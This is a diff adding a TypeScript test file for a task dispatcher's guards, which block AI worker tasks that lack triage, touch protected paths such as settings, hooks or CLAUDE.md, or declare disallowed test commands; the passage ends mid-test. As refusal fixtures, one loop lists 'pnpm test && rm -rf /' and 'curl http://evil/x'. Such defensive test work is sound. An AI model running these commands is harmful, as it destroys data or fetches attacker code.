@aurorajs.dev/catalyst-cli 1.0.2 → 2.0.0

package/dist/templates/monorepo/scripts/backlog/guards.test.ts

@@ -0,0 +1,2259 @@
+/**
+ * TDD spec for `scripts/backlog/guards.ts`.
+ *
+ * Runner: `node --import tsx --test scripts/backlog/guards.test.ts`
+ *
+ * Covers the six dispatch guards from `specs/backlog-task-dispatcher/spec.md` — "Six dispatch
+ * guards over the selected task" — in their fixed evaluation order, plus the requeue-vs-block
+ * distinction design.md calls out explicitly: an unmet-but-known dependency leaves the task
+ * `Queued` (wait/requeue), while an unresolvable dependency id or an exhausted-attempts task is a
+ * hard `Blocked` (block). Also covers `resolveTestCommand`, the declared-`Test command:` allowlist
+ * this module owns — read by guard 1 here, by `launch.ts` for the worker's Bash grant, and by
+ * `close.ts` for the triad.
+ */
+import assert from 'node:assert/strict';
+import { describe, it } from 'node:test';
+import {
+  CLAUDE_DIR_SEGMENTS,
+  denyWouldRevoke,
+  evaluateGuards,
+  findPermissionConflict,
+  grantCovers,
+  HUMAN_REVIEW_PATHS,
+  SUPERVISED_ONLY_PATHS,
+  isDeadBashRule,
+  LOCAL_FORBIDDEN_PATHS,
+  matchesPathSegment,
+  resolveTaskBase,
+  resolveTestCommand,
+  SECURITY_PATH_PATTERNS,
+  SLOT_EXECUTED_BASENAMES,
+  SLOT_EXECUTED_PATHS,
+  taskBaseBranch,
+  TEST_COMMAND_REFUSED,
+} from './guards.js';
+import {
+  DEFAULT_DISPATCH_LIMITS,
+  LANE,
+  MODE,
+  TASK_STATUS,
+  type Board,
+  type SettingsAllowRule,
+  type SlotRegistry,
+  type Task,
+} from './types.js';
+
+// ── Fixtures ────────────────────────────────────────────────────────────────
+
+const baseTask = (overrides: Partial<Task> = {}): Task => ({
+  id: 'T-1',
+  status: TASK_STATUS.QUEUED,
+  tier: 'minor',
+  lane: LANE.LOCAL,
+  path: 'direct',
+  mode: MODE.HEADLESS,
+  bc: 'backlog',
+  filesToTouch: ['backend/src/@app/some-bc/x.service.ts'],
+  testCommand: 'pnpm test:backlog',
+  acceptanceCriteria: [],
+  definitionOfDone: [],
+  dependsOn: [],
+  attempts: 0,
+  priority: 1,
+  createdAt: 0,
+  updatedAt: 0,
+  ...overrides,
+});
+
+const emptyBoard: Board = { tasksById: {} };
+
+const freeSlots = (): SlotRegistry => ({
+  slots: [
+    {
+      name: 'dispatch-a',
+      path: '/slots/a',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+    {
+      name: 'dispatch-b',
+      path: '/slots/b',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+    {
+      name: 'dispatch-c',
+      path: '/slots/c',
+      lane: null,
+      taskId: null,
+      pid: null,
+      lockfileHash: null,
+    },
+  ],
+});
+
+// ── The split path criteria (T-31): moved here from close.ts ─────────────────
+//
+// One criterion, two lists: does the file execute inside the slot during the attempt or the
+// close? `SLOT_EXECUTED_PATHS` plus the basename list `SLOT_EXECUTED_BASENAMES` (hard) answer
+// yes; `HUMAN_REVIEW_PATHS` (soft) answers no. `LOCAL_FORBIDDEN_PATHS` is the hard list plus the
+// local lane's own extras, unchanged by the split.
+
+describe('the split path criteria', () => {
+  it('SLOT_EXECUTED_PATHS holds the eleven hard entries', () => {
+    assert.deepEqual(SLOT_EXECUTED_PATHS, [
+      '.claude/settings.json',
+      '.claude/settings.local.json',
+      '.claude/hooks/',
+      '.claude/scripts/',
+      '.husky/',
+      'package.json',
+      'pnpm-lock.yaml',
+      'node_modules/',
+      '.backlog/',
+      'scripts/packager/',
+      'scripts/harness-rules/',
+    ]);
+  });
+
+  // The second entry the backward enumeration found: the close's mechanical triad runs
+  // `pnpm hr:lint-barrels` with `cwd` = the slot, and the root `package.json` maps that script to
+  // `tsx scripts/harness-rules/lint-barrels.ts` — the SLOT's copy of that file. The script name is
+  // protected (`package.json` is hard), the file it names was not.
+  it('SLOT_EXECUTED_PATHS covers the barrels linter the close runs from the slot', () => {
+    assert.ok(SLOT_EXECUTED_PATHS.includes('scripts/harness-rules/'));
+  });
+
+  // The entry the backward enumeration of design.md decision 1 found (T-31 review): the close's
+  // `mirrorRegen` step runs `node scripts/packager/publish.mjs` with `cwd` = the slot, and that
+  // script GLOBS `monorepo.mjs`, `backend/*.mjs` and `frontend/*.mjs` inside its OWN directory
+  // (`PACKAGER_DIR`, derived from `import.meta.url` — the slot's copy) and spawns every match with
+  // the dispatcher's inherited environment.
+  it('SLOT_EXECUTED_PATHS covers the packager the close spawns from the slot', () => {
+    assert.ok(SLOT_EXECUTED_PATHS.includes('scripts/packager/'));
+    assert.ok(!HUMAN_REVIEW_PATHS.some((pattern) => 'scripts/packager/'.includes(pattern)));
+  });
+
+  it('HUMAN_REVIEW_PATHS holds the generator package, and nothing else', () => {
+    assert.deepEqual(HUMAN_REVIEW_PATHS, ['packages/cli/']);
+  });
+
+  // `CLAUDE.md` is HARD on both lanes (T-31 round 2). The premise that demoted it — "a soft-list
+  // edit is inert during the attempt" — was measured false in two independent ways: the failure
+  // path pushes the whole slot tree to `task/<id>` (`saveWipAndPush`) and the retry's
+  // `checkout -B task/<id> origin/task/<id>` restores it, so attempt 2's executor boots reading
+  // what attempt 1 wrote; and on the frontier lane no mark of any kind is applied on a failed
+  // attempt, because that plan has no `open-pr` step. An instruction file is the one soft
+  // candidate whose restoration is a self-instruction channel, so it goes back to hard.
+  it('SLOT_EXECUTED_BASENAMES holds CLAUDE.md — hard on both lanes', () => {
+    assert.deepEqual(SLOT_EXECUTED_BASENAMES, ['CLAUDE.md']);
+  });
+
+  // The soft basename list is GONE, not emptied: `LOCAL_FORBIDDEN_BASENAMES` used to be derived
+  // from it (`[...HUMAN_REVIEW_BASENAMES]`), which made any future soft basename a local refusal
+  // by accident. One hard basename list, applied on both branches, has no such coupling.
+  it('exports no soft basename list any more', async () => {
+    const guards = (await import('./guards.js')) as Record<string, unknown>;
+    assert.equal(guards.HUMAN_REVIEW_BASENAMES, undefined);
+    assert.equal(guards.LOCAL_FORBIDDEN_BASENAMES, undefined);
+  });
+
+  it('LOCAL_FORBIDDEN_PATHS is the hard list plus the local lane extras, byte-for-byte', () => {
+    assert.deepEqual(LOCAL_FORBIDDEN_PATHS, [
+      ...SLOT_EXECUTED_PATHS,
+      '.claude/',
+      'scripts/',
+      '.git/',
+    ]);
+  });
+
+  // A FIFTH list (T-44), read by guard 1d only — see that guard's own describe block below for
+  // the matcher it needs. Anchoring the content here gives the `export` a real reader: nothing
+  // else in this suite imports `CLAUDE_DIR_SEGMENTS` by name.
+  it('CLAUDE_DIR_SEGMENTS holds one entry, a bare segment with no trailing slash', () => {
+    assert.deepEqual(CLAUDE_DIR_SEGMENTS, ['.claude']);
+  });
+});
+
+// ── Guard 1: missing triage ───────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 1: missing triage', () => {
+  for (const missing of ['tier', 'lane', 'path', 'mode'] as const) {
+    it(`blocks when ${missing} is missing`, () => {
+      const task = baseTask({ [missing]: undefined });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'missing-triage');
+        assert.match(result.comment, /sin triage/i);
+        if (missing === 'mode') {
+          assert.match(result.comment, /mode/i);
+        }
+      }
+    });
+  }
+});
+
+// ── T-6: guard 1 also refuses a tier:medium task on lane:local ───────────────
+//
+// Measured open: `worker-edit.ts --subtask`'s own label validator only ever refused tier:complex on
+// lane:local, so a tier:medium subtask reached the board, guard 1 let it through too, and
+// `resolveLane` only threw LATER — after a slot was already taken (`dispatch-failed`). tier:complex
+// keeps its own dedicated guard 2 (`complex-on-local`) unchanged — see the last case below.
+
+describe('evaluateGuards — guard 1: lane:local requires tier:minor', () => {
+  it('blocks tier:medium + lane:local, naming the mismatch', () => {
+    const task = baseTask({ tier: 'medium', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'tier-lane-mismatch');
+      assert.match(result.comment, /tier:minor/);
+    }
+  });
+
+  it('lets tier:minor + lane:local through unaffected', () => {
+    assert.deepEqual(
+      evaluateGuards(baseTask(), emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []),
+      { kind: 'launch' },
+    );
+  });
+
+  it('still reports complex-on-local (guard 2), not tier-lane-mismatch, for tier:complex + lane:local', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+    }
+  });
+});
+
+// ── G11: guard 1 also refuses a local task with no declared files ─────────────
+
+describe('evaluateGuards — guard 1: a local task with no "Files to touch:" line', () => {
+  it('blocks a lane:local task whose declared file list is empty, naming the missing line', () => {
+    const result = evaluateGuards(
+      baseTask({ filesToTouch: [] }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-files-to-touch');
+      assert.match(result.comment, /Files to touch:/);
+    }
+  });
+
+  it('lets a lane:frontier task through with no declared files — it discovers its own scope', () => {
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium', filesToTouch: [] });
+    assert.deepEqual(
+      evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []),
+      { kind: 'launch' },
+    );
+  });
+});
+
+// ── J6: guard 1 also refuses a task with no "Test command:" line, on EITHER lane ──
+
+describe('evaluateGuards — guard 1: a task with no "Test command:" line', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    it(`blocks a lane:${lane} task that declares none, naming the missing line`, () => {
+      const task = baseTask({
+        lane,
+        tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+        testCommand: null,
+      });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'missing-test-command');
+        assert.match(result.comment, /Test command:/);
+      }
+    });
+  }
+
+  // K7: a line the allowlist REFUSES is worse than a missing one — the guard let it through, the
+  // worker ran a whole attempt, and the close then failed the triad on `refusal` at the very end.
+  // The same validator that refuses it at the close decides here, before anything is spawned.
+  for (const declared of [
+    'npx tsx --test scripts/backlog/close.test.ts',
+    'pnpm test && rm -rf /',
+    'curl http://evil/x',
+  ]) {
+    it(`blocks a task whose declared command the allowlist refuses: ${declared}`, () => {
+      const result = evaluateGuards(
+        baseTask({ testCommand: declared }),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'refused-test-command');
+        assert.match(result.comment, new RegExp(TEST_COMMAND_REFUSED));
+        assert.ok(
+          result.comment.includes(declared),
+          'the comment must quote the line a person has to fix',
+        );
+      }
+    });
+  }
+
+  it('lets the repo own convention through untouched', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm --filter aurora-back test x.spec.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+});
+
+// ── Guard 1c: a declared hard-list path blocks in the queue (T-31, 2026-09-09) ────
+//
+// The defect T-31 measured: none of the guards compared a task's DECLARED files against the
+// forbidden list before a slot was spent — the close discovered it, four workers late. This guard
+// closes that on the HARD list only (design.md decision 4): the SOFT list is admissible work that
+// marks its pull request for human review instead, never a queue block.
+
+describe('evaluateGuards — guard 1c: a declared hard-list path', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    it(`blocks a lane:${lane} task declaring a hard-list file, naming it`, () => {
+      const hardFile = SLOT_EXECUTED_PATHS[0];
+      const task = baseTask({
+        lane,
+        tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+        filesToTouch: [hardFile],
+      });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+        assert.ok(
+          result.comment.includes(hardFile),
+          'the comment must name the offending declared file',
+        );
+      }
+    });
+  }
+
+  // Every entry, not just the first: a guard tested against `SLOT_EXECUTED_PATHS[0]` alone proves
+  // nothing about the rest of the list, and the entries do not all have the same shape — some are
+  // exact files, some are directory prefixes. The loop is over the list itself so it keeps
+  // covering every entry when one is added.
+  for (const pattern of SLOT_EXECUTED_PATHS) {
+    const declared = pattern.endsWith('/') ? `${pattern}whatever.ts` : pattern;
+    it(`blocks a task declaring ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+      }
+    });
+  }
+
+  // The matcher lowercases both sides, so a declaration that differs only in casing is the same
+  // declaration. A case-sensitive match would let `Package.json` through the queue.
+  it('blocks a declaration that differs from the pattern only in casing', () => {
+    const task = baseTask({ filesToTouch: ['Backend/Package.json'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'slot-executed-path');
+    }
+  });
+
+  // A DIRECTORY declaration (trailing `/`, the shape `close.ts`'s `isDeclared` reads as "the whole
+  // subtree is mine") REACHES every hard entry under it, so the guard must see it. A plain
+  // substring match does not: `.claude/` does not contain `.claude/settings.json`, so `- .claude/`
+  // used to sail past guard 1c and be discovered at close instead — the exact cost this guard
+  // exists to save.
+  // A directory declaration is a directory declaration whether or not the person typing it
+  // remembered the trailing slash. Gating the containment direction on `endsWith('/')` let
+  // `- .claude` and `- scripts` — the shapes a `Files to touch:` list is actually written in —
+  // sail past guard 1c, which is exactly the wasted worker this guard exists to prevent. The
+  // declaration is normalised to a directory prefix instead, so `.claude` reaches
+  // `.claude/settings.json` the same way `.claude/` does.
+  for (const declared of ['.claude/', 'scripts/', '.claude/hooks/', '.claude', 'scripts', '.backlog']) {
+    it(`blocks a directory declaration that covers a hard entry: ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+      }
+    });
+  }
+
+  // The reverse direction matches on SEGMENT boundaries, so a declaration that is a bare textual
+  // prefix of a pattern is not a declaration of it: `package` prefixes `package.json` but names the
+  // directory `package/`, which no hard entry lives under, and `pnpm-lock` does the same to
+  // `pnpm-lock.yaml`. Both inputs are real prefixes of a hard entry, so dropping the boundary and
+  // matching on a raw `startsWith` turns these green tests red — which is what makes them cover
+  // the rule instead of merely running past it (mutation-checked, T-31 round 2: the previous
+  // version of this test used `packages/cli/src/generator.ts`, which prefixes nothing and stayed
+  // green with the whole direction deleted).
+  for (const declared of ['package', 'pnpm-lock']) {
+    it(`does not block the bare prefix declaration ${declared}, which no hard entry lives under`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.notEqual(result.kind, 'block');
+    });
+  }
+
+  // The instruction file is HARD again on both lanes (T-31 round 2), and guard 1c blocks a task
+  // that declares it — matched by BASENAME at any depth, and case-insensitively, exactly as
+  // `checkScope` matches it against the real diff.
+  for (const declared of ['CLAUDE.md', 'backend/CLAUDE.md', 'frontend/claude.md']) {
+    it(`blocks a task declaring the instruction file ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'slot-executed-path');
+        assert.ok(result.comment.includes(declared));
+      }
+    });
+  }
+
+  // The basename is a WHOLE-NAME match, not a substring: a file whose name merely contains it is
+  // ordinary work.
+  it('does not block a declaration whose name only contains the instruction-file name', () => {
+    const task = baseTask({ filesToTouch: ['docs/claude.mdx'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('does not block a task declaring only soft-list files — admissible, marks the PR instead', () => {
+    const task = baseTask({ filesToTouch: [HUMAN_REVIEW_PATHS[0]] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('does not fire on a task declaring no files at all', () => {
+    const task = baseTask({ lane: LANE.FRONTIER, tier: 'medium', filesToTouch: [] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('reports missing triage before a declared hard-list path (guard 1 runs first)', () => {
+    const task = baseTask({ lane: undefined, filesToTouch: [SLOT_EXECUTED_PATHS[0]] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  it('reports the block before a no-free-slot wait, never the other way round', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-99',
+          pid: 1,
+          lockfileHash: 'x',
+        },
+      ],
+    };
+    const task = baseTask({ filesToTouch: [SLOT_EXECUTED_PATHS[0]] });
+    const result = evaluateGuards(
+      task,
+      emptyBoard,
+      busySlots,
+      { ...DEFAULT_DISPATCH_LIMITS, capacity: { [LANE.LOCAL]: 1, [LANE.FRONTIER]: 2 } },
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'slot-executed-path');
+    }
+  });
+});
+
+// ── Guard 1d: a declared `.claude/` path blocks in the queue (T-44, 2026-09-10) ────
+//
+// Measured fact this guard is built on: a dispatched worker runs under `--permission-mode
+// dontAsk`. Under that mode, an Edit/Write on ANY path carrying a `.claude/` segment is DENIED
+// with `decision_reason_type: mode`, under EVERY permission rule shape tried (`Edit(./**)`,
+// `Edit(**)`, `Edit(**/.claude/**)`, `Edit(**/.claude/skills/**)`, the exact relative path, the
+// exact absolute path) — `claude -p` probes on a temporary repo, 2026-09-10. Two controls PASS
+// with `Edit(./**)` on the same run (`sub/plain/a.md`, `sub/.hidden/a.md`), so the trigger is the
+// NAME `.claude`, not "hidden directory". Real-world evidence:
+// `.backlog/.dispatch/T-41/intento-1/stream.jsonl` holds three Edit/Write denials on
+// `frontend/.claude/skills/catalyst-form-composer-auditor/SKILL.md` and one successful Edit on
+// `frontend/src/main.ts`, in the same run with the same allow list. No lane settings change can
+// fix this — the task must run in an interactive session, which is exactly what guard 1d's
+// comment tells a person to do.
+
+// Guard 1e refuses the two core packages on BOTH lanes, and for a cause no other list here shares:
+// nothing in the slot executes them and the harness does not refuse the write — the DECISION is
+// architectural, so it needs a person while it is being made. T-94 measured what happens without
+// this: the framework change was written, the consumer could not compile it, and the attempt ended
+// in a `needs-guidance` question after a whole frontier slot was spent.
+
+describe('evaluateGuards — guard 1e: a declared supervised-only path', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    for (const declared of [
+      'packages/core-back/src/domain/decorators/tenant-constraint.decorator.ts',
+      'packages/core-front/src/lib/index.ts',
+      'packages/core-back/',
+      'scripts/backlog/guards.ts',
+      'scripts/backlog/',
+    ]) {
+      it(`blocks a lane:${lane} task declaring ${declared}, naming it and the cause`, () => {
+        const task = baseTask({
+          lane,
+          tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+          filesToTouch: [declared],
+        });
+        const result = evaluateGuards(
+          task,
+          emptyBoard,
+          freeSlots(),
+          DEFAULT_DISPATCH_LIMITS,
+          null,
+          [],
+        );
+        assert.equal(result.kind, 'block');
+        if (result.kind === 'block') {
+          assert.equal(result.reason, 'supervised-only-path');
+          assert.ok(
+            result.comment.includes(declared),
+            'the comment must name the offending declared file',
+          );
+          assert.match(result.comment, /sesión interactiva/i);
+        }
+      });
+    }
+  }
+
+  // The two causes behind SUPERVISED_ONLY_PATHS are different (framework vs. dispatcher sources),
+  // and the comment a person reads in a `Blocked` task must name the one that actually applies —
+  // never the other, which would misdirect the release flow of section 10.
+  it('names the framework cause for a core package, and not the dispatcher cause', () => {
+    const task = baseTask({
+      lane: LANE.FRONTIER,
+      tier: 'medium',
+      filesToTouch: ['packages/core-back/src/domain/decorators/tenant-constraint.decorator.ts'],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.match(result.comment, /consumidor/i);
+      assert.doesNotMatch(result.comment, /despachador/i);
+    }
+  });
+
+  it('names the dispatcher cause for scripts/backlog/, and not the framework cause', () => {
+    const task = baseTask({
+      lane: LANE.FRONTIER,
+      tier: 'medium',
+      filesToTouch: ['scripts/backlog/guards.ts'],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.match(result.comment, /despachador/i);
+      assert.doesNotMatch(result.comment, /consumidor/i);
+    }
+  });
+
+  // The generator package stays SOFT — admitted and marked, never blocked. Guard 1e must not widen
+  // to `packages/` wholesale: that would refuse the mechanical, local changes the soft list exists
+  // to admit.
+  it('does not block a task declaring packages/cli, which stays on the soft list', () => {
+    const task = baseTask({
+      lane: LANE.FRONTIER,
+      tier: 'medium',
+      filesToTouch: ['packages/cli/src/templates/codegen/foo.eta'],
+    });
+    const result = evaluateGuards(
+      task,
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.notEqual(result.kind, 'block');
+  });
+
+  it('SUPERVISED_ONLY_PATHS holds the two core packages plus the dispatcher sources, and nothing else', () => {
+    assert.deepEqual(SUPERVISED_ONLY_PATHS, [
+      'packages/core-back/',
+      'packages/core-front/',
+      'scripts/backlog/',
+    ]);
+  });
+
+  // The two lists answer different questions and must not be conflated: a supervised-only path is
+  // refused outright, a soft-list path is admitted and marked. An entry in both would make the
+  // classification order decide the verdict.
+  it('no path is both supervised-only and human-review', () => {
+    for (const supervised of SUPERVISED_ONLY_PATHS) {
+      assert.ok(
+        !HUMAN_REVIEW_PATHS.some((soft) => supervised.includes(soft) || soft.includes(supervised)),
+        `${supervised} must not overlap the soft list`,
+      );
+    }
+  });
+});
+
+describe('evaluateGuards — guard 1d: a declared ".claude" path', () => {
+  for (const lane of [LANE.LOCAL, LANE.FRONTIER] as const) {
+    it(`blocks a lane:${lane} task declaring a ".claude" file, naming it and the cause`, () => {
+      const claudeFile = '.claude/skills/catalyst-backlog/SKILL.md';
+      const task = baseTask({
+        lane,
+        tier: lane === LANE.LOCAL ? 'minor' : 'medium',
+        filesToTouch: [claudeFile],
+      });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'claude-dir-path');
+        assert.ok(
+          result.comment.includes(claudeFile),
+          'the comment must name the offending declared file',
+        );
+        assert.match(result.comment, /dontAsk/);
+        assert.match(result.comment, /sesión interactiva/i);
+      }
+    });
+  }
+
+  // T-44 round 2 measured `declarationReachesPathPattern` (guard 1c's substring/containment
+  // matcher) wrong for THIS list: its forward direction requires the declaration to literally
+  // contain the pattern text `.claude/`, trailing slash included, so a NESTED directory declared
+  // WITHOUT one — `frontend/.claude`, the exact shape T-41 used — matched neither direction and
+  // sailed straight through the guard. `matchesPathSegment` (a sibling of `matchesBasename`, split
+  // on `/` the same way) replaces it here. Tested directly against the exported matcher, isolated
+  // from guard ORDER: a bare root-level `.claude` also reaches `SLOT_EXECUTED_PATHS` by
+  // containment (`.claude/hooks/`, `.claude/settings.json`, …), so through `evaluateGuards` it is
+  // guard 1c that fires first and reports `slot-executed-path` — see that guard's own describe
+  // block above, which already covers this exact declaration. What matters for guard 1d itself is
+  // that its OWN predicate says true for every one of these five forms, root-level or nested, with
+  // or without a trailing slash — which is what this asserts, unconfounded by which guard wins the
+  // race for the bare case.
+  for (const declared of [
+    'backend/.claude/',
+    'backend/.claude',
+    'frontend/.claude',
+    'frontend/.claude/skills',
+    '.claude',
+  ]) {
+    it(`matchesPathSegment reaches the declared path ${declared}`, () => {
+      assert.equal(matchesPathSegment(declared, CLAUDE_DIR_SEGMENTS), true);
+    });
+  }
+
+  // End to end via `evaluateGuards`, for the forms that reach ONLY guard 1d — a nested `.claude`
+  // never collides with guard 1c's root-anchored hard list, so these confirm the real dispatch
+  // verdict, not just the predicate.
+  const nestedForms = [
+    'backend/.claude/',
+    'backend/.claude',
+    'frontend/.claude',
+    'frontend/.claude/skills',
+  ];
+  for (const declared of nestedForms) {
+    it(`blocks the declared path ${declared}`, () => {
+      const task = baseTask({ filesToTouch: [declared] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'claude-dir-path');
+      }
+    });
+  }
+
+  // The real-world case that hit: the segment is not at the repo root, and carries no trailing
+  // slash — the full path to the file, not just its containing directory.
+  it('blocks a nested ".claude" path, not only a root-level one', () => {
+    const nestedFile = 'frontend/.claude/skills/catalyst-form-composer-auditor/SKILL.md';
+    const task = baseTask({ filesToTouch: [nestedFile] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'claude-dir-path');
+      assert.ok(result.comment.includes(nestedFile));
+    }
+  });
+
+  // The same round measured a false POSITIVE alongside the false negative above: the substring
+  // matcher blocked `notes.claude/file.md`, which carries no `.claude` path COMPONENT at all —
+  // the text `.claude` is glued to the end of `notes`, not a segment on its own. A near-miss that
+  // merely CONTAINS the letters must pass, on either side of the `/`.
+  const nearMisses = ['src/dotclaude/', 'a/.claudex/', 'my.claude-notes/', 'notes.claude/file.md'];
+
+  for (const nearMiss of nearMisses) {
+    it(`matchesPathSegment does not reach the near-miss ${nearMiss}`, () => {
+      assert.equal(matchesPathSegment(nearMiss, CLAUDE_DIR_SEGMENTS), false);
+    });
+  }
+
+  for (const nearMiss of nearMisses) {
+    it(`does not block the near-miss declared path ${nearMiss}`, () => {
+      const task = baseTask({ filesToTouch: [nearMiss] });
+      const result = evaluateGuards(
+        task,
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        null,
+        [],
+      );
+      assert.notEqual(result.kind, 'block');
+    });
+  }
+
+  // `baseTask()`'s default `filesToTouch` (`backend/src/@app/some-bc/x.service.ts`) does not even
+  // contain the substring `claude`, so on its own this test cannot tell a correct matcher from a broken
+  // one — a gap T-44 round 2 measured directly (mutating `CLAUDE_DIR_SEGMENTS` to `['claude']`
+  // left every test in this file green). The near-miss fixtures above and the list-content
+  // assertion below are what actually discriminate; this one stays as the ordinary "an unrelated
+  // task launches" case.
+  it('does not block a task with no ".claude" path declared', () => {
+    const result = evaluateGuards(
+      baseTask(),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('reports missing triage before a declared ".claude" path (guard 1 runs first)', () => {
+    const task = baseTask({ lane: undefined, filesToTouch: ['.claude/skills/x/SKILL.md'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-triage');
+    }
+  });
+
+  // The refusal must happen BEFORE a slot is taken: even with zero free slots, the verdict is the
+  // `.claude` block, never the wait-for-slot reason.
+  it('reports the block before a no-free-slot wait, never the other way round', () => {
+    const busySlots: SlotRegistry = {
+      slots: [
+        {
+          name: 'dispatch-a',
+          path: '/slots/a',
+          lane: LANE.LOCAL,
+          taskId: 'T-99',
+          pid: 1,
+          lockfileHash: 'x',
+        },
+      ],
+    };
+    const task = baseTask({ filesToTouch: ['.claude/skills/x/SKILL.md'] });
